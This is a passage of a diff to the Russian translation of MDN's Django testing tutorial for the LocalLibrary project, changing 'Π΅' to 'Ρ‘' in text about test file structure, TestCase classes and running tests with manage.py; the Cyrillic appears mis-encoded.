<p>Django ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡŽΠ½ΠΈΡ‚-тСстовый ΠΌΠΎΠ΄ΡƒΠ»ΡŒ - <a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">встроСнный "ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅Π»ΡŒ" тСстов</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ тСсты Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Π² любом Ρ„Π°ΠΉΠ»Π΅ с ΡˆΠ°Π±Π»ΠΎΠ½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ<strong> test*.py</strong>. ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с любой структурой которая вас устраиваСт. ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚ для вашСго Ρ‚Π΅ΡΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Ρ„ΠΎΡ€ΠΌ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅, ΠΎΡ‚ ΠΊΠΎΠ΄Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для тСстов. НапримСр:</p>
@@ -136,7 +136,7 @@ translation_of: Learn/Server-side/Django/Testing
<p>Π’ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅Β <em>LocalLibrary</em> создайтС Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ структуру, ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅. Π€Π°ΠΉΠ» <strong>__init__.py</strong> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ пустым (Ρ‚Π°ΠΊ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠŸΠΈΡ‚ΠΎΠ½Ρƒ, Ρ‡Ρ‚ΠΎ данная дирСктория являСтся ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚Ρ€ΠΈ тСстовых Ρ„Π°ΠΉΠ»Π° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ копирования ΠΈ пСрСимСнования Ρ„Π°ΠΉΠ»Π°-ΠΎΠ±Ρ€Π°Π·Ρ†Π° <strong>/catalog/tests.py</strong>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π‘ΠΊΠ΅Π»Π΅Ρ‚ тСстового Ρ„Π°ΠΉΠ»Π° <strong>/catalog/tests.py</strong> Π±Ρ‹Π» создан автоматичСски ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ выполняли <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">построСниС скСлСта сайта Django</a>. ЯвляСтся Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ "Π»Π΅Π³Π°Π»ΡŒΠ½Ρ‹ΠΌ" дСйствиСм - ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ всС ваши тСсты Π² Π΄Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ссли Π²Ρ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ тСсты "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ", Ρ‚ΠΎ Π²Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ быстро ΠΏΡ€ΠΈΠ΄Π΅Ρ‚Π΅ ΠΊ ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ ΠΈ нСуправляСмому Ρ„Π°ΠΉΠ»Ρƒ тСстирования.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π‘ΠΊΠ΅Π»Π΅Ρ‚ тСстового Ρ„Π°ΠΉΠ»Π° <strong>/catalog/tests.py</strong> Π±Ρ‹Π» создан автоматичСски ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ выполняли <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">построСниС скСлСта сайта Django</a>. ЯвляСтся Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ "Π»Π΅Π³Π°Π»ΡŒΠ½Ρ‹ΠΌ" дСйствиСм - ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ всС ваши тСсты Π² Π΄Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ссли Π²Ρ‹ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅ тСсты "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ", Ρ‚ΠΎ Π²Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ быстро ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚Π΅ ΠΊ ΠΎΡ‡Π΅Π½ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ ΠΈ нСуправляСмому Ρ„Π°ΠΉΠ»Ρƒ тСстирования.</p>
<p>ΠœΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ большС ΠΎΠ½ Π½Π°ΠΌ Π½Π΅ понадобится.</p>
</div>
@@ -148,7 +148,7 @@ translation_of: Learn/Server-side/Django/Testing
# ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ ваш ΠΊΠΎΠ΄ тСстов здСсь
</pre>
-<p>Π’Ρ‹ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСстовый класс для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ/отобраТСния/Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ ΠΊΠ°ΠΊΠΈΡ…-Ρ‚ΠΎ случаях Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс для тСстирования ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ особого Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°, с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ функциями тСстирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ элСмСнт/элСмСнты Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс тСстирования для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π²Π°Π»ΠΈΠ΄Π½ΠΎ, - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования). ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, структура Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ зависит ΠΎΡ‚ вас ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΅Π΅ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
+<p>Π’Ρ‹ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ тСстовый класс для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ/отобраТСния/Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ ΠΊΠ°ΠΊΠΈΡ…-Ρ‚ΠΎ случаях Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс для тСстирования ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ особого Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°, с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ функциями тСстирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ элСмСнт/элСмСнты Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ класс тСстирования для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π²Π°Π»ΠΈΠ΄Π½ΠΎ, - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ класса Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ использования). ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, структура Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ зависит ΠΎΡ‚ вас ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΅Ρ‘ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ.</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ тСстовый класс, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»Π°. Π”Π°Π½Π½Ρ‹ΠΉ класс дСмонстрируСт ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ класс тСстирования ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ наслСдования ΠΎΡ‚ <code>TestCase</code>.</p>
@@ -200,7 +200,7 @@ translation_of: Learn/Server-side/Django/Testing
<pre class="brush: bash">python3 manage.py test</pre>
-<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ Π½Π°ΠΉΠ΄Π΅ΠΌ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ всС Ρ„Π°ΠΉΠ»Ρ‹ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>test*.py</strong> ΠΈ запустим всС тСсты (Ρƒ нас ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ² для тСстирования, Π½ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <strong>/catalog/tests/test_models.py</strong> содСрТит ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ тСсты). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, тСсты сообщат Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС ΠΏΡ€ΠΎΠ²Π°Π»Π°.</p>
+<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΡ‹ Π½Π°ΠΉΠ΄Ρ‘ΠΌ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ всС Ρ„Π°ΠΉΠ»Ρ‹ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <strong>test*.py</strong> ΠΈ запустим всС тСсты (Ρƒ нас ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ нСсколько Ρ„Π°ΠΉΠ»ΠΎΠ² для тСстирования, Π½ΠΎ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <strong>/catalog/tests/test_models.py</strong> содСрТит ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ тСсты). По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, тСсты сообщат Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС ΠΏΡ€ΠΎΠ²Π°Π»Π°.</p>
<p>ЗапуститС тСсты ΠΈΠ· ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠΈ сайта <em>LocalLibrary</em>. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ.</p>
@@ -239,7 +239,7 @@ Destroying test database for alias 'default'...</pre>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π΄Π΅Π» ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ тСсты ΠΈ ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
-<h3 id="Π•Ρ‰Π΅_большС_тСстовой_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ">Π•Ρ‰Π΅ большС тСстовой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</h3>
+<h3 id="Π•Ρ‰Ρ‘_большС_тСстовой_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ">Π•Ρ‰Ρ‘ большС тСстовой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</h3>
<p>Если Π²Ρ‹ ΠΆΠ΅Π»Π°Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ тСстах Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <em>verbosity</em>. НапримСр, для Π²Ρ‹Π²ΠΎΠ΄Π° списка ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Ρ… ΠΈ Π½Π΅ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹Ρ… тСстов (ΠΈ всю ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡˆΠ»Π° настройка Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…) Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ verbosity Ρ€Π°Π²Π½Ρ‹ΠΌ "2":</p>
@@ -247,7 +247,7 @@ Destroying test database for alias 'default'...</pre>
<p>Доступными значСниями для verbosity ΡΠ²Π»ΡΡŽΡ‚ΡΡΒ  0, 1 (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), 2 ΠΈ 3.</p>
-<h3 id="Запуск_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…_тСстов">Запуск ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… тСстов</h3>
+<h3 id="Запуск_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…_тСстов">Запуск ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… тСстов</h3>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ подмноТСство тСстов, Ρ‚ΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΏΠ°ΠΊΠ΅Ρ‚Ρƒ, ΠΌΠΎΠ΄ΡƒΠ»ΡŽ/ΠΏΠΎΠ΄ΠΌΠΎΠ΄ΡƒΠ»ΡŽ, классу наслСднику<code>TestCase</code>, ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ:</p>
@@ -262,14 +262,14 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ ΠΊΠ°ΠΊ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ наши тСсты ΠΈ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°ΡΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ всС тСсты, Π° просто ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π½ΠΈΠΌΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°ΡΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ всС тСсты, Π° просто ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π½ΠΈΠΌΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
</div>
<h3 id="МодСли">МодСли</h3>
<p>Как Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Ρ€Π°Π½Π΅Π΅, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ нашСго ΠΊΠΎΠ΄Π°, Π° Π½Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ/ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ Π±Ρ‹Π»ΠΈ протСстированы ΠΊΠΎΠΌΠ°Π½Π΄Π°ΠΌΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Django, ΠΈΠ»ΠΈ Python.</p>
-<p>Рассмотрим модСль <code>Author</code>. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ провСсти тСсты тСкстовых ΠΌΠ΅Ρ‚ΠΎΠΊ всСх ΠΏΠΎΠ»Π΅ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ, Π΄Π°ΠΆΠ΅ нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π΅ всС ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ сказано, Ρ‡Ρ‚ΠΎ всС ΠΈΡ… значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½Ρ‹. Если ΠΌΡ‹ Π½Π΅ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ ΠΈΡ… тСстированиС, Ρ‚ΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ содСрТат Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ значСния. ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Django создаст ΠΏΠΎΠ»Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹, Ρ‚Π°ΠΊΠΈΠΌ 